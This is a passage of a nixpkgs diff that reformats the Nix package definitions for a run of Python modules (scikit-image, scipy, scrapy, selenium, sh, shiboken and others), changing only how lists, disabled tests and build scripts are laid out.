+    pytestFlagsArray = [
+      "${installedPackageRoot}"
+      "--pyargs"
+      "skimage"
+    ]
+    ++ builtins.map (testid: "--deselect=" + testid) (
       [
-        "${installedPackageRoot}"
-        "--pyargs"
-        "skimage"
+        # These tests require network access
+        "skimage/data/test_data.py::test_skin"
+        "skimage/data/tests/test_data.py::test_skin"
+        "skimage/io/tests/test_io.py::test_imread_http_url"
+        "skimage/restoration/tests/test_rolling_ball.py::test_ndim"
       ]
-      ++ builtins.map (testid: "--deselect=" + testid) (
-        [
-          # These tests require network access
-          "skimage/data/test_data.py::test_skin"
-          "skimage/data/tests/test_data.py::test_skin"
-          "skimage/io/tests/test_io.py::test_imread_http_url"
-          "skimage/restoration/tests/test_rolling_ball.py::test_ndim"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          # Matplotlib tests are broken inside darwin sandbox
-          "skimage/feature/tests/test_util.py::test_plot_matches"
-          "skimage/filters/tests/test_thresholding.py::TestSimpleImage::test_try_all_threshold"
-          "skimage/io/tests/test_mpl_imshow.py::"
-          # See https://github.com/scikit-image/scikit-image/issues/7061 and https://github.com/scikit-image/scikit-image/issues/7104
-          "skimage/measure/tests/test_fit.py"
-        ]
-        ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-          # https://github.com/scikit-image/scikit-image/issues/7104
-          "skimage/measure/tests/test_moments.py"
-        ]
-      );
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        # Matplotlib tests are broken inside darwin sandbox
+        "skimage/feature/tests/test_util.py::test_plot_matches"
+        "skimage/filters/tests/test_thresholding.py::TestSimpleImage::test_try_all_threshold"
+        "skimage/io/tests/test_mpl_imshow.py::"
+        # See https://github.com/scikit-image/scikit-image/issues/7061 and https://github.com/scikit-image/scikit-image/issues/7104
+        "skimage/measure/tests/test_fit.py"
+      ]
+      ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+        # https://github.com/scikit-image/scikit-image/issues/7104
+        "skimage/measure/tests/test_moments.py"
+      ]
+    );
 
     # Check cythonized modules
     pythonImportsCheck = [
diff --git a/pkgs/development/python-modules/scikit-learn/default.nix b/pkgs/development/python-modules/scikit-learn/default.nix
index ac73ec1f4b9c..5664f02f7793 100644
--- a/pkgs/development/python-modules/scikit-learn/default.nix
+++ b/pkgs/development/python-modules/scikit-learn/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
     numpy.blas
     pillow
     glibcLocales
-  ] ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   nativeBuildInputs = [
     gfortran
@@ -75,16 +76,15 @@ buildPythonPackage rec {
   # PermissionError: [Errno 1] Operation not permitted: '/nix/nix-installer'
   doCheck = !stdenv.hostPlatform.isDarwin;
 
-  disabledTests =
-    [
-      # Skip test_feature_importance_regression - does web fetch
-      "test_feature_importance_regression"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # doesn't seem to produce correct results?
-      # possibly relevant: https://github.com/scikit-learn/scikit-learn/issues/25838#issuecomment-2308650816
-      "test_sparse_input"
-    ];
+  disabledTests = [
+    # Skip test_feature_importance_regression - does web fetch
+    "test_feature_importance_regression"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # doesn't seem to produce correct results?
+    # possibly relevant: https://github.com/scikit-learn/scikit-learn/issues/25838#issuecomment-2308650816
+    "test_sparse_input"
+  ];
 
   pytestFlagsArray = [
     # verbose build outputs needed to debug hard-to-reproduce hydra failures
diff --git a/pkgs/development/python-modules/scikit-survival/default.nix b/pkgs/development/python-modules/scikit-survival/default.nix
index a01a4988b698..54714e1e66b2 100644
--- a/pkgs/development/python-modules/scikit-survival/default.nix
+++ b/pkgs/development/python-modules/scikit-survival/default.nix
@@ -64,17 +64,17 @@ buildPythonPackage rec {
   postCheck = "popd";
 
   # very long tests, unnecessary for a leaf package
-  disabledTests =
-    [
-      "test_coxph"
-      "test_datasets"
-      "test_ensemble_selection"
-      "test_minlip"
-      "test_pandas_inputs"
-      "test_survival_svm"
-      "test_tree"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64)
+  disabledTests = [
+    "test_coxph"
+    "test_datasets"
+    "test_ensemble_selection"
+    "test_minlip"
+    "test_pandas_inputs"
+    "test_survival_svm"
+    "test_tree"
+  ]
+  ++
+    lib.optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64)
       # floating point mismatch on aarch64
       # 27079905.88052468 to far from 27079905.880496684
       "test_coxnet";
diff --git a/pkgs/development/python-modules/scim2-client/default.nix b/pkgs/development/python-modules/scim2-client/default.nix
index 47a056103ca8..4eb48c922317 100644
--- a/pkgs/development/python-modules/scim2-client/default.nix
+++ b/pkgs/development/python-modules/scim2-client/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
     scim2-server
     werkzeug
     cacert
-  ] ++ optional-dependencies.httpx;
+  ]
+  ++ optional-dependencies.httpx;
 
   # Werkzeug returns 500, didn't deem it worth it to investigate
   disabledTests = [
diff --git a/pkgs/development/python-modules/scim2-filter-parser/default.nix b/pkgs/development/python-modules/scim2-filter-parser/default.nix
index fd3f8418f48f..bbe66b368de5 100644
--- a/pkgs/development/python-modules/scim2-filter-parser/default.nix
+++ b/pkgs/development/python-modules/scim2-filter-parser/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ optional-dependencies.django-query;
+  ]
+  ++ optional-dependencies.django-query;
 
   meta = with lib; {
     description = "Customizable parser/transpiler for SCIM2.0 filters";
diff --git a/pkgs/development/python-modules/scim2-tester/default.nix b/pkgs/development/python-modules/scim2-tester/default.nix
index 93de7bf9f384..e751ae17f007 100644
--- a/pkgs/development/python-modules/scim2-tester/default.nix
+++ b/pkgs/development/python-modules/scim2-tester/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     scim2-server
     pytest-httpserver
     cacert
-  ] ++ optional-dependencies.httpx;
+  ]
+  ++ optional-dependencies.httpx;
 
   pythonImportsCheck = [ "scim2_tester" ];
 
diff --git a/pkgs/development/python-modules/scipy/default.nix b/pkgs/development/python-modules/scipy/default.nix
index f6eccfe6da32..67c80aed4aea 100644
--- a/pkgs/development/python-modules/scipy/default.nix
+++ b/pkgs/development/python-modules/scipy/default.nix
@@ -107,23 +107,22 @@ buildPythonPackage {
       --replace-fail "numpy>=2.0.0,<2.5" numpy
   '';
 
-  build-system =
-    [
-      cython
-      gfortran
-      meson-python
-      nukeReferences
-      pythran
-      pkg-config
-      setuptools
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Minimal version required according to:
-      # https://github.com/scipy/scipy/blob/v1.14.0/scipy/meson.build#L185-L188
-      (xcbuild.override {
-        sdkVer = "13.3";
-      })
-    ];
+  build-system = [
+    cython
+    gfortran
+    meson-python
+    nukeReferences
+    pythran
+    pkg-config
+    setuptools
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Minimal version required according to:
+    # https://github.com/scipy/scipy/blob/v1.14.0/scipy/meson.build#L185-L188
+    (xcbuild.override {
+      sdkVer = "13.3";
+    })
+  ];
 
   buildInputs = [
     blas
@@ -143,43 +142,41 @@ buildPythonPackage {
     pytest-xdist
   ];
 
-  disabledTests =
-    [
-      "test_cumulative_simpson_against_simpson_with_default_dx"
-      # https://github.com/scipy/scipy/issues/22789
-      "test_funcs"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # The following tests are broken on aarch64-darwin with newer compilers and library versions.
-      # See https://github.com/scipy/scipy/issues/18308
-      "test_a_b_neg_int_after_euler_hypergeometric_transformation"
-      "test_dst4_definition_ortho"
-      "test_load_mat4_le"
-      "hyp2f1_test_case47"
-      "hyp2f1_test_case3"
-      "test_uint64_max"
-      "test_large_m4" # https://github.com/scipy/scipy/issues/22466
-    ];
+  disabledTests = [
+    "test_cumulative_simpson_against_simpson_with_default_dx"
+    # https://github.com/scipy/scipy/issues/22789
+    "test_funcs"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # The following tests are broken on aarch64-darwin with newer compilers and library versions.
+    # See https://github.com/scipy/scipy/issues/18308
+    "test_a_b_neg_int_after_euler_hypergeometric_transformation"
+    "test_dst4_definition_ortho"
+    "test_load_mat4_le"
+    "hyp2f1_test_case47"
+    "hyp2f1_test_case3"
+    "test_uint64_max"
+    "test_large_m4" # https://github.com/scipy/scipy/issues/22466
+  ];
 
   doCheck = !(stdenv.hostPlatform.isx86_64 && stdenv.hostPlatform.isDarwin);
 
-  preConfigure =
-    ''
-      # Helps parallelization a bit
-      export NPY_NUM_BUILD_JOBS=$NIX_BUILD_CORES
-      # We download manually the datasets and this variable tells the pooch
-      # library where these files are cached. See also:
-      # https://github.com/scipy/scipy/pull/18518#issuecomment-1562350648 And at:
-      # https://github.com/scipy/scipy/pull/17965#issuecomment-1560759962
-      export XDG_CACHE_HOME=$PWD; export HOME=$(mktemp -d); mkdir scipy-data
-    ''
-    + (lib.concatStringsSep "\n" (
-      lib.mapAttrsToList (
-        d: dpath:
-        # Actually copy the datasets
-        "cp ${dpath} scipy-data/${d}.dat"
-      ) datasets
-    ));
+  preConfigure = ''
+    # Helps parallelization a bit
+    export NPY_NUM_BUILD_JOBS=$NIX_BUILD_CORES
+    # We download manually the datasets and this variable tells the pooch
+    # library where these files are cached. See also:
+    # https://github.com/scipy/scipy/pull/18518#issuecomment-1562350648 And at:
+    # https://github.com/scipy/scipy/pull/17965#issuecomment-1560759962
+    export XDG_CACHE_HOME=$PWD; export HOME=$(mktemp -d); mkdir scipy-data
+  ''
+  + (lib.concatStringsSep "\n" (
+    lib.mapAttrsToList (
+      d: dpath:
+      # Actually copy the datasets
+      "cp ${dpath} scipy-data/${d}.dat"
+    ) datasets
+  ));
 
   mesonFlags = [
     "-Dblas=${blas.pname}"
@@ -217,14 +214,13 @@ buildPythonPackage {
 
   passthru = {
     inherit blas;
-    updateScript =
-      [
-        ./update.sh
-        # Pass it this file name as argument
-        (builtins.unsafeGetAttrPos "pname" python.pkgs.scipy).file
-      ]
-      # Pass it the names of the datasets to update their hashes
-      ++ (builtins.attrNames datasetsHashes);
+    updateScript = [
+      ./update.sh
+      # Pass it this file name as argument
+      (builtins.unsafeGetAttrPos "pname" python.pkgs.scipy).file
+    ]
+    # Pass it the names of the datasets to update their hashes
+    ++ (builtins.attrNames datasetsHashes);
     tests = {
       inherit sage;
     };
diff --git a/pkgs/development/python-modules/scrapy/default.nix b/pkgs/development/python-modules/scrapy/default.nix
index 969ff63ac7b6..8fb5a71d2a3c 100644
--- a/pkgs/development/python-modules/scrapy/default.nix
+++ b/pkgs/development/python-modules/scrapy/default.nix
@@ -99,34 +99,33 @@ buildPythonPackage rec {
     "docs"
   ];
 
-  disabledTests =
-    [
-      # Requires network access
-      "AnonymousFTPTestCase"
-      "FTPFeedStorageTest"
-      "FeedExportTest"
-      "test_custom_asyncio_loop_enabled_true"
-      "test_custom_loop_asyncio"
-      "test_custom_loop_asyncio_deferred_signal"
-      "FileFeedStoragePreFeedOptionsTest" # https://github.com/scrapy/scrapy/issues/5157
-      "test_persist"
-      "test_timeout_download_from_spider_nodata_rcvd"
-      "test_timeout_download_from_spider_server_hangs"
-      "test_unbounded_response"
-      "CookiesMiddlewareTest"
-      # Test fails on Hydra
-      "test_start_requests_laziness"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_xmliter_encoding"
-      "test_download"
-      "test_reactor_default_twisted_reactor_select"
-      "URIParamsSettingTest"
-      "URIParamsFeedOptionTest"
-      # flaky on darwin-aarch64
-      "test_fixed_delay"
-      "test_start_requests_laziness"
-    ];
+  disabledTests = [
+    # Requires network access
+    "AnonymousFTPTestCase"
+    "FTPFeedStorageTest"
+    "FeedExportTest"
+    "test_custom_asyncio_loop_enabled_true"
+    "test_custom_loop_asyncio"
+    "test_custom_loop_asyncio_deferred_signal"
+    "FileFeedStoragePreFeedOptionsTest" # https://github.com/scrapy/scrapy/issues/5157
+    "test_persist"
+    "test_timeout_download_from_spider_nodata_rcvd"
+    "test_timeout_download_from_spider_server_hangs"
+    "test_unbounded_response"
+    "CookiesMiddlewareTest"
+    # Test fails on Hydra
+    "test_start_requests_laziness"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_xmliter_encoding"
+    "test_download"
+    "test_reactor_default_twisted_reactor_select"
+    "URIParamsSettingTest"
+    "URIParamsFeedOptionTest"
+    # flaky on darwin-aarch64
+    "test_fixed_delay"
+    "test_start_requests_laziness"
+  ];
 
   postInstall = ''
     installManPage extras/scrapy.1
diff --git a/pkgs/development/python-modules/screenlogicpy/default.nix b/pkgs/development/python-modules/screenlogicpy/default.nix
index 9db0602eec8e..2c1b54daeb01 100644
--- a/pkgs/development/python-modules/screenlogicpy/default.nix
+++ b/pkgs/development/python-modules/screenlogicpy/default.nix
@@ -33,23 +33,22 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # Tests require network access
-      "test_async_discovery"
-      "test_async"
-      "test_asyncio_gateway_discovery"
-      "test_discovery_async_discover"
-      "test_gateway_discovery"
-      "test_gateway"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # Tests block on Python 3.12
-      "test_sub_unsub"
-      "test_attach_existing"
-      "test_login_async_connect_to_gateway"
-      "test_login_async_gateway_connect"
-    ];
+  disabledTests = [
+    # Tests require network access
+    "test_async_discovery"
+    "test_async"
+    "test_asyncio_gateway_discovery"
+    "test_discovery_async_discover"
+    "test_gateway_discovery"
+    "test_gateway"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # Tests block on Python 3.12
+    "test_sub_unsub"
+    "test_attach_existing"
+    "test_login_async_connect_to_gateway"
+    "test_login_async_gateway_connect"
+  ];
 
   pythonImportsCheck = [ "screenlogicpy" ];
 
diff --git a/pkgs/development/python-modules/sdkmanager/default.nix b/pkgs/development/python-modules/sdkmanager/default.nix
index d8352bbe18db..48a1a3b72376 100644
--- a/pkgs/development/python-modules/sdkmanager/default.nix
+++ b/pkgs/development/python-modules/sdkmanager/default.nix
@@ -29,13 +29,12 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      argcomplete
-      requests
-    ]
-    ++ requests.optional-dependencies.socks
-    ++ lib.optionals (pythonAtLeast "3.12") [ looseversion ];
+  dependencies = [
+    argcomplete
+    requests
+  ]
+  ++ requests.optional-dependencies.socks
+  ++ lib.optionals (pythonAtLeast "3.12") [ looseversion ];
 
   postInstall = ''
     wrapProgram $out/bin/sdkmanager \
diff --git a/pkgs/development/python-modules/seaborn/default.nix b/pkgs/development/python-modules/seaborn/default.nix
index dd730c09029a..d9420b9ce753 100644
--- a/pkgs/development/python-modules/seaborn/default.nix
+++ b/pkgs/development/python-modules/seaborn/default.nix
@@ -64,15 +64,14 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # requires internet connection
-      "test_load_dataset_string_error"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isx86) [
-      # overly strict float tolerances
-      "TestDendrogram"
-    ];
+  disabledTests = [
+    # requires internet connection
+    "test_load_dataset_string_error"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86) [
+    # overly strict float tolerances
+    "TestDendrogram"
+  ];
 
   # All platforms should use Agg. Let's set it explicitly to avoid probing GUI
   # backends (leads to crashes on macOS).
diff --git a/pkgs/development/python-modules/seabreeze/default.nix b/pkgs/development/python-modules/seabreeze/default.nix
index d4244bbcdfef..bdf84563ecb4 100644
--- a/pkgs/development/python-modules/seabreeze/default.nix
+++ b/pkgs/development/python-modules/seabreeze/default.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
     pytestCheckHook
     mock
     zipp
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [ "TestHardware" ];
 
diff --git a/pkgs/development/python-modules/seasonal/default.nix b/pkgs/development/python-modules/seasonal/default.nix
index cef289ff5c8e..c3810c8e0610 100644
--- a/pkgs/development/python-modules/seasonal/default.nix
+++ b/pkgs/development/python-modules/seasonal/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
   ];
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   meta = with lib; {
     description = "Robustly estimate trend and periodicity in a timeseries";
diff --git a/pkgs/development/python-modules/securesystemslib/default.nix b/pkgs/development/python-modules/securesystemslib/default.nix
index 6862915fafaf..d064b3f477ac 100644
--- a/pkgs/development/python-modules/securesystemslib/default.nix
+++ b/pkgs/development/python-modules/securesystemslib/default.nix
@@ -65,7 +65,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     ed25519
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "securesystemslib" ];
 
diff --git a/pkgs/development/python-modules/selenium/default.nix b/pkgs/development/python-modules/selenium/default.nix
index cc4cb5485140..e33fc961c8d4 100644
--- a/pkgs/development/python-modules/selenium/default.nix
+++ b/pkgs/development/python-modules/selenium/default.nix
@@ -38,25 +38,24 @@ buildPythonPackage rec {
     cd py
   '';
 
-  postInstall =
-    ''
-      DST_PREFIX=$out/${python.sitePackages}/selenium/webdriver/
-      DST_REMOTE=$DST_PREFIX/remote/
-      DST_FF=$DST_PREFIX/firefox
-      cp ../rb/lib/selenium/webdriver/atoms/getAttribute.js $DST_REMOTE
-      cp ../rb/lib/selenium/webdriver/atoms/isDisplayed.js $DST_REMOTE
-      cp ../rb/lib/selenium/webdriver/atoms/findElements.js $DST_REMOTE
-      cp ../javascript/cdp-support/mutation-listener.js $DST_REMOTE
-      cp ../third_party/js/selenium/webdriver.json $DST_FF/webdriver_prefs.json
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $DST_PREFIX/common/macos
-      ln -s ${lib.getExe selenium-manager} $DST_PREFIX/common/macos/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $DST_PREFIX/common/linux/
-      ln -s ${lib.getExe selenium-manager} $DST_PREFIX/common/linux/
-    '';
+  postInstall = ''
+    DST_PREFIX=$out/${python.sitePackages}/selenium/webdriver/
+    DST_REMOTE=$DST_PREFIX/remote/
+    DST_FF=$DST_PREFIX/firefox
+    cp ../rb/lib/selenium/webdriver/atoms/getAttribute.js $DST_REMOTE
+    cp ../rb/lib/selenium/webdriver/atoms/isDisplayed.js $DST_REMOTE
+    cp ../rb/lib/selenium/webdriver/atoms/findElements.js $DST_REMOTE
+    cp ../javascript/cdp-support/mutation-listener.js $DST_REMOTE
+    cp ../third_party/js/selenium/webdriver.json $DST_FF/webdriver_prefs.json
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $DST_PREFIX/common/macos
+    ln -s ${lib.getExe selenium-manager} $DST_PREFIX/common/macos/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $DST_PREFIX/common/linux/
+    ln -s ${lib.getExe selenium-manager} $DST_PREFIX/common/linux/
+  '';
 
   build-system = [ setuptools ];
 
@@ -67,7 +66,8 @@ buildPythonPackage rec {
     urllib3
     typing-extensions
     websocket-client
-  ] ++ urllib3.optional-dependencies.socks;
+  ]
+  ++ urllib3.optional-dependencies.socks;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/sentence-transformers/default.nix b/pkgs/development/python-modules/sentence-transformers/default.nix
index eee47d3f3969..83227782d9f0 100644
--- a/pkgs/development/python-modules/sentence-transformers/default.nix
+++ b/pkgs/development/python-modules/sentence-transformers/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-cov-stub
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "sentence_transformers" ];
 
diff --git a/pkgs/development/python-modules/sentry-sdk/default.nix b/pkgs/development/python-modules/sentry-sdk/default.nix
index 39538231dbe3..076a82996763 100644
--- a/pkgs/development/python-modules/sentry-sdk/default.nix
+++ b/pkgs/development/python-modules/sentry-sdk/default.nix
@@ -164,7 +164,8 @@ buildPythonPackage rec {
     pytest-xdist
     pytest-watch
     pytestCheckHook
-  ] ++ optional-dependencies.http2;
+  ]
+  ++ optional-dependencies.http2;
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/servefile/default.nix b/pkgs/development/python-modules/servefile/default.nix
index a74fc852bc12..8016d1c1d664 100644
--- a/pkgs/development/python-modules/servefile/default.nix
+++ b/pkgs/development/python-modules/servefile/default.nix
@@ -23,7 +23,8 @@ buildPythonPackage rec {
 
   dependencies = [
     pyopenssl
-  ] ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/setuptools-generate/default.nix b/pkgs/development/python-modules/setuptools-generate/default.nix
index db8aa16751e2..d87a3ca4a554 100644
--- a/pkgs/development/python-modules/setuptools-generate/default.nix
+++ b/pkgs/development/python-modules/setuptools-generate/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     help2man
     markdown-it-py
     shtab
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/setuptools-git-versioning/default.nix b/pkgs/development/python-modules/setuptools-git-versioning/default.nix
index fb69ff6313f8..90e0537a81d0 100644
--- a/pkgs/development/python-modules/setuptools-git-versioning/default.nix
+++ b/pkgs/development/python-modules/setuptools-git-versioning/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
   dependencies = [
     packaging
     setuptools
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   pythonImportsCheck = [ "setuptools_git_versioning" ];
 
diff --git a/pkgs/development/python-modules/setuptools-rust/default.nix b/pkgs/development/python-modules/setuptools-rust/default.nix
index 9b3ac12d5661..b5832ea7b74f 100644
--- a/pkgs/development/python-modules/setuptools-rust/default.nix
+++ b/pkgs/development/python-modules/setuptools-rust/default.nix
@@ -47,13 +47,14 @@ buildPythonPackage rec {
       format = "setuptools";
       buildAndTestSubdir = null;
 
-      nativeBuildInputs =
-        [ setuptools-rust ]
-        ++ [
-          rustPlatform.cargoSetupHook
-          cargo
-          rustc
-        ];
+      nativeBuildInputs = [
+        setuptools-rust
+      ]
+      ++ [
+        rustPlatform.cargoSetupHook
+        cargo
+        rustc
+      ];
 
       preConfigure = ''
         # sourceRoot puts Cargo.lock in the wrong place due to the
diff --git a/pkgs/development/python-modules/setuptools-scm/default.nix b/pkgs/development/python-modules/setuptools-scm/default.nix
index a33e93f001be..a1695833ca96 100644
--- a/pkgs/development/python-modules/setuptools-scm/default.nix
+++ b/pkgs/development/python-modules/setuptools-scm/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     packaging
     setuptools
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   optional-dependencies = {
     rich = [ rich ];
diff --git a/pkgs/development/python-modules/sfrbox-api/default.nix b/pkgs/development/python-modules/sfrbox-api/default.nix
index 6059c12209db..76148d7da07a 100644
--- a/pkgs/development/python-modules/sfrbox-api/default.nix
+++ b/pkgs/development/python-modules/sfrbox-api/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytestCheckHook
     respx
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "sfrbox_api" ];
 
diff --git a/pkgs/development/python-modules/sh/default.nix b/pkgs/development/python-modules/sh/default.nix
index 3935e6ed1474..ad094c906b8b 100644
--- a/pkgs/development/python-modules/sh/default.nix
+++ b/pkgs/development/python-modules/sh/default.nix
@@ -30,25 +30,24 @@ buildPythonPackage rec {
     export HOME=$(mktemp -d)
   '';
 
-  disabledTests =
-    [
-      # Disable tests that fail on Hydra
-      "test_no_fd_leak"
-      "test_piped_exception1"
-      "test_piped_exception2"
-      "test_unicode_path"
-      # fails to import itself after modifying the environment
-      "test_environment"
-      # timing sensitive through usage of sleep(1) and signal handling
-      # https://github.com/amoffat/sh/issues/684
-      "test_general_signal"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Disable tests that fail on Darwin sandbox
-      "test_background_exception"
-      "test_cwd"
-      "test_ok_code"
-    ];
+  disabledTests = [
+    # Disable tests that fail on Hydra
+    "test_no_fd_leak"
+    "test_piped_exception1"
+    "test_piped_exception2"
+    "test_unicode_path"
+    # fails to import itself after modifying the environment
+    "test_environment"
+    # timing sensitive through usage of sleep(1) and signal handling
+    # https://github.com/amoffat/sh/issues/684
+    "test_general_signal"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Disable tests that fail on Darwin sandbox
+    "test_background_exception"
+    "test_cwd"
+    "test_ok_code"
+  ];
 
   meta = with lib; {
     description = "Python subprocess interface";
diff --git a/pkgs/development/python-modules/shiboken2/default.nix b/pkgs/development/python-modules/shiboken2/default.nix
index dfbbae93d6b9..bfe0d2f8d4e2 100644
--- a/pkgs/development/python-modules/shiboken2/default.nix
+++ b/pkgs/development/python-modules/shiboken2/default.nix
@@ -31,18 +31,17 @@ stdenv.mkDerivation {
     qt5.qmake
   ];
 
-  buildInputs =
-    [
-      llvmPackages_15.libclang
-      python.pkgs.setuptools
-      qt5.qtbase
-      qt5.qtxmlpatterns
-    ]
-    ++ (lib.optionals (python.pythonOlder "3.9") [
-      # see similar issue: 202262
-      # libxcrypt is required for crypt.h for building older python modules
-      libxcrypt
-    ]);
+  buildInputs = [
+    llvmPackages_15.libclang
+    python.pkgs.setuptools
+    qt5.qtbase
+    qt5.qtxmlpatterns
+  ]
+  ++ (lib.optionals (python.pythonOlder "3.9") [
+    # see similar issue: 202262
+    # libxcrypt is required for crypt.h for building older python modules
+    libxcrypt
+  ]);
 
   cmakeFlags = [ "-DBUILD_TESTS=OFF" ];
 
diff --git a/pkgs/development/python-modules/shiboken6/default.nix b/pkgs/development/python-modules/shiboken6/default.nix
index 6aeafa2d10bd..decc00bf12fa 100644
--- a/pkgs/development/python-modules/shiboken6/default.nix
+++ b/pkgs/development/python-modules/shiboken6/default.nix
@@ -27,20 +27,20 @@ stdenv'.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     cmake
     (python.pythonOnBuildForHost.withPackages (ps: [ ps.setuptools ]))
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
-  buildInputs =
-    [
-      llvmPackages.llvm
-      llvmPackages.libclang
-      python.pkgs.qt6.qtbase
-      python.pkgs.ninja
-      python.pkgs.packaging
-      python.pkgs.setuptools
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      python.pkgs.qt6.darwinVersionInputs
-    ];
+  buildInputs = [
+    llvmPackages.llvm
+    llvmPackages.libclang
+    python.pkgs.qt6.qtbase
+    python.pkgs.ninja
+    python.pkgs.packaging
+    python.pkgs.setuptools
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    python.pkgs.qt6.darwinVersionInputs
+  ];
 
   cmakeFlags = [ "-DBUILD_TESTS=OFF" ];
 
diff --git a/pkgs/development/python-modules/shiny/default.nix b/pkgs/development/python-modules/shiny/default.nix
index 474666efcbd0..e8624fe25831 100644
--- a/pkgs/development/python-modules/shiny/default.nix
+++ b/pkgs/development/python-modules/shiny/default.nix
@@ -107,7 +107,8 @@ buildPythonPackage rec {
     pytest-timeout
     pytest-xdist
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   env.SSL_CERT_FILE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
 
diff --git a/pkgs/development/python-modules/signedjson/default.nix b/pkgs/development/python-modules/signedjson/default.nix
index a03238cf2e00..36480011c569 100644
--- a/pkgs/development/python-modules/signedjson/default.nix
+++ b/pkgs/development/python-modules/signedjson/default.nix
@@ -26,16 +26,15 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ setuptools-scm ];
 
-  propagatedBuildInputs =
-    [
-      canonicaljson
-      unpaddedbase64
-      pynacl
-    ]
-    ++ lib.optionals (pythonOlder "3.8") [
-      importlib-metadata
-      typing-extensions
-    ];
+  propagatedBuildInputs = [
+    canonicaljson
+    unpaddedbase64
+    pynacl
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [
+    importlib-metadata
+    typing-extensions
+  ];
 
